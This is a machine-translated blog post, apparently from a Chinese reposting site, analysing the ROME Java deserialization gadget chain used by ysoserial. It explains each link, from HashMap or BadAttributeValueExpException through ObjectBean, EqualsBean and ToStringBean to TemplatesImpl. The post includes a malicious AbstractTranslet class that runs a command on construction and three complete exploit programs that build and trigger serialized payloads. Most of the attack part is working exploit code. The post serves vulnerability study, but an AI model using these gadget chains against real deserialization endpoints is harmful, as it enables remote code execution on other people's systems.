当前位置:网站首页>Rome chain analysis

Rome chain analysis

2022-07-05 04:02:00 Sk1y

Rome Chain analysis

ysoserial Call chain in

The top is the end of the chain , The bottom is the beginning of the chain

 * TemplatesImpl.getOutputProperties()
 * NativeMethodAccessorImpl.invoke0(Method, Object, Object[])
 * NativeMethodAccessorImpl.invoke(Object, Object[])
 * DelegatingMethodAccessorImpl.invoke(Object, Object[])
 * Method.invoke(Object, Object...)
 * ToStringBean.toString(String)
 * ToStringBean.toString()
 * ObjectBean.toString()
 * EqualsBean.beanHashCode()
 * ObjectBean.hashCode()
 * HashMap<K,V>.hash(Object)
 * HashMap<K,V>.readObject(ObjectInputStream)

Or reverse order analysis

TemplatesImpl Internal call

TemplatesImpl Malicious bytecode can be loaded , The basic call chain is , see newTransformer(), The known call chain is as follows

TemplatesImpl-->newTransformer()
    TemplatesImpl-->getTransletInstance()
        TemplatesImpl-->defineTransletClasses()
            TemplatesImpl-->defineClass()

Be careful getOutputProperties() Method is called newTransformer() Method

 Insert picture description here

So the call here is

TemplatesImpl-->getOutputProperties()
	TemplatesImpl-->newTransformer()
        TemplatesImpl-->getTransletInstance()
            TemplatesImpl-->defineTransletClasses()
                TemplatesImpl-->defineClass()

Write a calc1.java

//calc1.java
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class calc1 extends AbstractTranslet {
    

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    

    }

    public static void main(String[] args) {
    
        System.out.println(1);
    }
    public calc1() throws Exception{
    
        super();
        Runtime.getRuntime().exec("calc");
    }
}

Compile the generated class file , And then dynamically load

public static void main(String[] args) throws Exception {
    
        // Malicious bytecode 
        String fileName = "D:\\project\\java\\test\\target\\classes\\calc1.class";
        Path path = Paths.get(fileName);
        byte[] bytes = Files.readAllBytes(path);
        String bytes1 = Base64.getEncoder().encodeToString(bytes);
// System.out.println(bytes1);


        Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
        defineClass.setAccessible(true);
        byte[] code = Base64.getDecoder().decode(bytes1);

        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates,"_name","sk1y");  // Cannot be set to null, Or return to null
        setFieldValue(templates,"_class",null);
        setFieldValue(templates,"_bytecodes",new byte[][]{
    code});
        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
        templates.getOutputProperties();

    }

Running results
 Insert picture description here

The next step is to see how to call TemplatesImpl.getOutputProperties()

ToStringBean.toString()–>TemplatesImpl.getOutputProperties()

ToStringBean The constructor of is public Of , You can pass in a class and object

 Insert picture description here

Let's see ToStringBean Class toString Method

 Insert picture description here

To follow up getPropertyDescriptors Method , Will get _beanClass All of the getter and setter Method , and _beanClass It's under our control

 Insert picture description here

getPDs Method in BeanIntrospector Overload in class

 Insert picture description here

getOutputProperties accord with get The format at the beginning , So we can use this ToStringBean.toString() To trigger TemplatesImpl.getOutputProperties()

Comment out the original trigger point , Then add... At the end of the above code

        ToStringBean toStringBean = new ToStringBean(TemplatesImpl.class,templates);
        toStringBean.toString();

debugged

If you find it, you will call the parameterless toString(), Then call the parameter toString(prefix)

 Insert picture description here

And then to getPDs, Will get getter Method

 Insert picture description here

And then you'll see , in total 5 A way , Cycle call ,getOutputProperties In the third

 Insert picture description here

then invoke To call

 Insert picture description here

Running results
 Insert picture description here

Next , Is the trigger ToStringBean.toString()

EqualsBean.hashCode–>ToStringBean.toString()

EqualsBean Class hashCode()–>beanHashCode()–>toString()

 Insert picture description here

Where member variables _obj controllable

 Insert picture description here

Comment the original trigger point , add to

        EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
        equalsBean.hashCode();

Running results

 Insert picture description here

ObjectBean.hashCode–>toString

ObjectBean Class can trigger hashCode, It can also trigger toString()

 Insert picture description here

Look at this constructor

 Insert picture description here

We can find out , There are many possibilities for this part of the call chain , Here is a screenshot of the boss' blog

 Insert picture description here

HashMap–>hashCode

HashMap Class is used to call hashcode() Methodical

HashMap Of readObject Method is called hash() Method

 Insert picture description here

To follow up hash(), Found called key.hashCode()

 Insert picture description here

We know ,HashMap Of put() Method Insert the specified key value pair into HashMap in

example

package test;

import java.util.HashMap;

public class hashmap_test {
    
    public static void main(String[] args) {
    
        HashMap<Integer, String> map = new HashMap<>();
        map.put(1,"sss");
        System.out.println(map);
    }
}

Running results

 Insert picture description here

But here actually put When , It will also cause the calculator to bounce , because put Call in hash(), It's done directly

 Insert picture description here

This can be modified by reflection , Put it in first, harmless , Then replace the malicious class _equalsBean

This thing can't be implemented , Unknown cause , I am here debug When , Follow me

 Insert picture description here

When i=2 when , Would call getOutputProperties, That is, it can execute calc 了

 Insert picture description here

But when i=1 When , In execution

Object value = pReadMethod.invoke(this._obj, NO_PARAMS);

This is going to happen

 Insert picture description here

Jump to the

 Insert picture description here

And then it didn't and then , Straight out , Don't execute i=2 The situation of

Solutions to problems encountered

Put the following code TemplatesImpl.class Replace with Templates.class

ToStringBean toStringBean = new ToStringBean(Templates.class,templates);

 Insert picture description here

exp

package Rome;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;

import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;


public class Rome2 {
    

    public static void unserialize(byte[] bytes) throws Exception{
    
        try(ByteArrayInputStream bain = new ByteArrayInputStream(bytes);
            ObjectInputStream oin = new ObjectInputStream(bain)){
    
            oin.readObject();
        }
    }

    public static byte[] serialize(Object o) throws Exception{
    
        try(ByteArrayOutputStream baout = new ByteArrayOutputStream();
            ObjectOutputStream oout = new ObjectOutputStream(baout)){
    
            oout.writeObject(o);
            return baout.toByteArray();
        }
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
    
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void main(String[] args) throws Exception {
    
        // Malicious bytecode 
        String fileName = "D:\\project\\java\\test\\target\\classes\\calc1.class";
        Path path = Paths.get(fileName);
        byte[] bytes = Files.readAllBytes(path);
        String bytes1 = Base64.getEncoder().encodeToString(bytes);
// System.out.println(bytes1);
        byte[] code = Base64.getDecoder().decode(bytes1);

        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates,"_name","sk1y");  // Cannot be set to null, Or return to null
        setFieldValue(templates,"_class",null);
        setFieldValue(templates,"_bytecodes",new byte[][]{
    code});
        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
        ToStringBean toStringBean = new ToStringBean(TemplatesImpl.class,templates);

        EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
//
        ObjectBean objectBean = new ObjectBean(String.class, "1");       // Write a normal class here 

        HashMap<Object, Integer> hashMap = new HashMap<>();
        hashMap.put(objectBean,1);
        setFieldValue(objectBean,"_equalsBean",new EqualsBean(ToStringBean.class,toStringBean));     // Reflection writes malicious classes 

        ByteArrayOutputStream baout = new ByteArrayOutputStream();
        ObjectOutputStream oout = new ObjectOutputStream(baout);
        oout.writeObject(hashMap);
        byte[] sss = baout.toByteArray();

        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(sss));
        ois.readObject();
    }
}

BadAttributeValueExpException

Based on the above analysis , stay ObjectBean Class , Can be called directly toString To make the call ToStringBean.toString()

 Insert picture description here

And trigger toString Can pass BadAttributeValueExpException Trigger

 Insert picture description here

exp

package Rome;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;


public class Rome2 {
    

    public static void unserialize(byte[] bytes) throws Exception{
    
        ByteArrayInputStream bain = new ByteArrayInputStream(bytes);
        ObjectInputStream oin = new ObjectInputStream(bain);
        oin.readObject();
    }


    public static byte[] serialize(Object o) throws Exception{
    
        try(ByteArrayOutputStream baout = new ByteArrayOutputStream();
            ObjectOutputStream oout = new ObjectOutputStream(baout)){
    
            oout.writeObject(o);
            return baout.toByteArray();
        }
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
    
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void main(String[] args) throws Exception {
    
        // Malicious bytecode 
        String fileName = "D:\\project\\java\\test\\target\\classes\\calc1.class";
        Path path = Paths.get(fileName);
        byte[] bytes = Files.readAllBytes(path);
        String bytes1 = Base64.getEncoder().encodeToString(bytes);
// System.out.println(bytes1);
        byte[] code = Base64.getDecoder().decode(bytes1);

        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates,"_name","sk1y");  // Cannot be set to null, Or return to null
        setFieldValue(templates,"_class",null);
        setFieldValue(templates,"_bytecodes",new byte[][]{
    code});
        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
        ToStringBean toStringBean = new ToStringBean(Templates.class,templates);


        ObjectBean objectBean = new ObjectBean(String.class, "1");
        setFieldValue(objectBean,"_toStringBean",toStringBean);

        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("aaa");
        setFieldValue(badAttributeValueExpException,"val",objectBean);

        unserialize(serialize(badAttributeValueExpException));
    }
}

Running results
 Insert picture description here

Call the process
 Insert picture description here

Simplify it a little bit

But analyze the code 2 Call to , Why not just from BadAttributeValueExpException Call directly to ToStringBean, And skip ObjectBean

The main codes are as follows

        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates,"_name","sk1y");  // Cannot be set to null, Or return to null
        setFieldValue(templates,"_class",null);
        setFieldValue(templates,"_bytecodes",new byte[][]{
    code});
        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
        ToStringBean toStringBean = new ToStringBean(Templates.class,templates);
        
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("aaa");
        setFieldValue(badAttributeValueExpException,"val",toStringBean);
        
        unserialize(serialize(badAttributeValueExpException));

Running results

 Insert picture description here

Reference link

  1. (2 Bar message ) Java Deserialization vulnerability -ROME Using chain analysis _lu0sf The blog of -CSDN Blog _java rome
  2. (2 Bar message ) 『Java Security 』 Deserialization -Rome 1.0 Deserialization POP Chain analysis _ysoserial Rome payload analysis _Ho1aAs The blog of -CSDN Blog
原网站

版权声明
本文为[Sk1y]所创,转载请带上原文链接,感谢
https://yzsam.com/2022/186/202207050357346111.html